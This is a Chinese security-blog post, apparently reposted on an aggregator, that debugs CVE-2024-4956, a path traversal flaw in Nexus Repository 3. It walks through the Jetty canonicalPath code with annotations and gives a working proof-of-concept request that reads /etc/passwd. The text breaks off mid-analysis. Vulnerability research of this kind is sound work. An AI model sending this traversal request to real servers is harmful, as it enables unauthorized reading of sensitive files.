专栏名称: 黑伞安全
安全加固 渗透测试 众测 ctf 安全新领域研究
目录
相关文章推荐
天玑-无极领域  ·  #官方回应有智力缺陷孩子在校被霸凌# ... ·  23 小时前  
视觉志  ·  第 1 批捡垃圾的年轻人,已财务自由 ·  23 小时前  
岚山发布  ·  起猛了!一夜之间,岚山变“花海”! ·  2 天前  
岚山发布  ·  起猛了!一夜之间,岚山变“花海”! ·  2 天前  
媒哥媒体招聘  ·  SMG旗下公司招聘!(上海) ·  4 天前  
51好读  ›  专栏  ›  黑伞安全

CVE-2024-4956 Nexus Repository 3 任意文件读取调试分析

黑伞安全  · 公众号  ·  · 2024-06-11 12:52

正文

漏洞概述

2024年5月,Nexus Repository官方Sonatype发布了新补丁,修复了一处路径穿越漏洞CVE-2024-4956。经分析,该漏洞可以通过特定的路径请求来未授权访问系统文件,进而可能导致信息泄露。该漏洞无前置条件且利用简单。

  • 漏洞成因 Nexus Repository仅依赖Jetty自带的方法进行请求路径的安全检查,而未进行深入的验证,导致攻击者可以利用路径穿越攻击访问文件系统上的任意位置。

  • 漏洞影响 成功利用这一漏洞的攻击者可以读取Nexus Repository服务器上的任意文件,这可能包括配置文件、数据库备份以及其他敏感数据。此外,特定情况下如果攻击者能够进一步利用服务器上的其他配置或漏洞,可能会完全控制受影响的服务器。

环境搭建

  • • 下载源码: nexus-public-release-3.68.0-04.zip

  • • vulhub启动漏洞环境,idea远程调试

调试分析

根据官方的临时修复方案,删除 (basedir)/etc/jetty/jetty.xml /public 这一行 整个xml

<New id="NexusHandler" class="org.sonatype.nexus.bootstrap.jetty.InstrumentedHandler">
    <Arg>
      <New id="NexusWebAppContext" class="org.eclipse.jetty.webapp.WebAppContext">
        <Set name="descriptor"><Property name="jetty.etc"/>/nexus-web.xmlSet>
        <Set name="resourceBase"><Property name="karaf.base"/>/publicSet>
        <Set name="contextPath"><Property name="nexus-context-path"/>Set>
        <Set name="throwUnavailableOnStartupException">trueSet>
        <Set name="configurationClasses">
          <Array type="java.lang.String">
            <Item>org.eclipse.jetty.webapp.WebXmlConfigurationItem>
          Array>
        Set>
      New>
    Arg>
  New>

断点直接下在 WebResourceServiceImpl 补丁删除的那块代码上⾯,这⾥以 /robots.txt 路由为例⼦

跟进 getResource

再次跟进,来到了 ContextHandler getResource ⽅法,这里的 _baseResource 就是 jetty.xml ⾥配置的 public ⽬录

继续跟进 addPath 方法,这里会调用 URIUtil.canonicalPath

创建了⼀个 PathResource 对象准备返回

实际的uri拼接在于URIUtil.addPath函数中,注意这⾥的encodePath参数对path⼜进⾏了⼀波编码

【重点】canonicalPath 处理逻辑

这里我们直接拿poc来直接调试分析一下

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

然后我们直接走到 URIUtil.canonicalPath 方法来分析

canonicalPath 方法代码如下所示,增加了详细的注释

public static String canonicalPath(String path) {
    // 检查路径是否为空或空字符串
    if (path != null && !path.isEmpty()) {
        boolean slash = true// 标志当前字符是否是'/'
        int end = path.length(); // 获取路径的长度

        int i;
        label68:
        // 遍历路径中的每个字符
        for(i = 0; i             char c = path.charAt(i); // 获取路径中的当前字符
            switch (c) {
                case '.':
                    // 如果当前字符是'.'且前一个字符是'/'
                    if (slash) {
                        break label68; // 跳出循环
                    }
                    slash = false// 当前字符不是'/'
                    break;
                case '/':
                    slash = true// 当前字符是'/'
                    break;
                default:
                    slash = false// 当前字符不是'/'
            }
        }

        // 如果遍历到路径的末尾
        if (i == end) {
            return path; // 返回原路径
        } else {
            StringBuilder canonical = new StringBuilder(path.length()); // 创建一个新的字符串构建器
            canonical.append(path, 0, i); // 将原路径的前i个字符复制到新的字符串构建器中
            int dots = 1// 初始化dots为1,用来计数'.'字符
            ++i; // 继续遍历路径

            for(; i                 char c = path.charAt(i); // 获取路径中的当前字符
                switch (c) {
                    case '.':
                        // 如果当前字符是'.'
                        if (dots > 0) {
                            ++dots; // 增加dots计数
                        } else if (slash) {
                            dots = 1// 如果前一个字符是'/',dots置为1
                        } else {
                            canonical.append('.'); // 否则将'.'添加到新的字符串构建器中
                        }
                        slash = false// 当前字符不是'/'
                        continue;
                    case '/':
                        // 如果当前字符是'/'
                        if (doDotsSlash(canonical, dots)) {
                            return null// 如果doDotsSlash返回true,返回null
                        }
                        slash = true// 当前字符是'/'
                        dots = 0// dots置为0
                        continue;
                }

                // 将前面的'.'字符添加到新的字符串构建器中
                while(dots-- > 0) {
                    canonical.append('.');
                }

                canonical.append(c); // 添加当前字符到新的字符串构建器中
                dots = 0// dots置为0
                slash = false// 当前字符不是'/'
            }

            // 检查剩余的'.'字符
            if (doDots(canonical, dots)) {
                return null// 如果doDots返回true,返回null
            } else {
                return canonical.toString(); // 返回处理后的路径字符串
            }
        }
    } else {
        return path; // 如果路径为空或空字符串,直接返回
    }
}

// 处理路径中的连续'.'字符和'/'字符
private static boolean doDotsSlash(StringBuilder canonical, int dots) {
    if (dots == 2) {
        // 如果dots为2,表示路径中有"..",需要返回上一级目录
        int length = canonical.length();
        if (length == 0) {
            return true// 如果字符串构建器为空,返回true表示路径无效
        }

        int slash = canonical.lastIndexOf("/"); // 获取最后一个'/'的位置
        if (slash 0) {
            canonical.setLength(0); // 如果没有'/',清空字符串构建器
        } else {
            canonical.setLength(slash); // 否则将字符串构建器的长度设置为最后一个'/'的位置
        }
    } else if (dots == 1) {
        // 如果dots为1,表示路径中有".",忽略
    } else if (dots > 2) {
        // 如果dots大于2,将'.'添加到字符串构建器中
        while(dots-- > 0) {
            canonical.append('.');
        }
    }
    return false// 返回false表示路径有效
}

// 处理路径中剩余的'.'字符
private static boolean doDots(StringBuilder canonical, int dots) {
    if (dots == 2) {
        // 如果dots为2,表示路径中有"..",需要返回上一级目录
        int length = canonical.length();
        if (length == 0) {
            return true// 如果字符串构建器为空,返回true表示路径无效
        }

        int slash = canonical.lastIndexOf("/"); // 获取最后一个'/'的位置
        if (slash 0) {
            canonical.setLength(0); // 如果没有'/',清空字符串构建器
        } else {
            canonical.setLength(slash); // 否则将字符串构建器的长度设置为最后一个'/'的位置
        }
    } else if (dots == 1) {
        // 如果dots为1,表示路径中有".",忽略
    } else if (dots > 2) {
        // 如果dots大于2,将'.'添加到字符串构建器中
        while(dots-- > 0) {
            canonical.append('.');
        }
    }
    return false// 返回false表示路径有效
}

canonicalPath大致处理逻辑:

处理斜杠:

  • • 遍历前8个字符(全是斜杠), slash 始终为 true







请到「今天看啥」查看全文